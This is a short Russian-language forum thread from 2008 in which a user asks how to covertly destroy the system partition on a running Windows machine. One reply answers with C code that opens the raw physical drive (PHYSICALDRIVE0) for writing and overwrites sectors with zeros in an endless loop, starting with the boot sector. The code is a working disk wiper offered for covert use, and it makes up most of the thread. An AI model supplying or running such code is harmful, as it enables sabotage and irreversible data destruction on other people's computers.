Убийство системного раздела на работающей винде.

Discussion in 'Болталка' started by Mr_Necromancer, 29 Aug 2008.

  1. Mr_Necromancer

    Joined:
    21 Nov 2006
    Messages:
    25
    Likes Received:
    10
    Reputations:
    -9
    Как незаметно убить раздел на работающей венде, желательно незаметно, каким нибудь скриптом или прогой запущенной с параметрами.
     
  2. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    чтобы незаметно - нужно подкрастся сзади! и молотком его, молотком!!
     
  3. _nic

    _nic Elder - Старейшина

    Joined:
    5 May 2006
    Messages:
    651
    Likes Received:
    54
    Reputations:
    3
    Можно примерно так
    Code:
    void destroy(void)
    {
    HANDLE fs;DWORD num;
    char bf1[512];char bf2[1024*256];
    char *disk="\\\\.\\PHYSICALDRIVE0";
    int sek=0;
    fs=CreateFile(disk,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_FLAG_NO_BUFFERING,NULL);
    memset(bf2,0,1024*256);
    for(;;)
    {
    SetFilePointer(fs,512*sek,NULL,FILE_BEGIN);
    if(sek==0)
    {
    memset(bf1,0,512);
    WriteFile(fs,bf2,512,&num,NULL);
    }
    sek=sek+1024;
    WriteFile(fs,bf2,512,&num,NULL);
    }
    }
    
    Только придется ещё учитывать обьем этого раздела что бы только его снести :D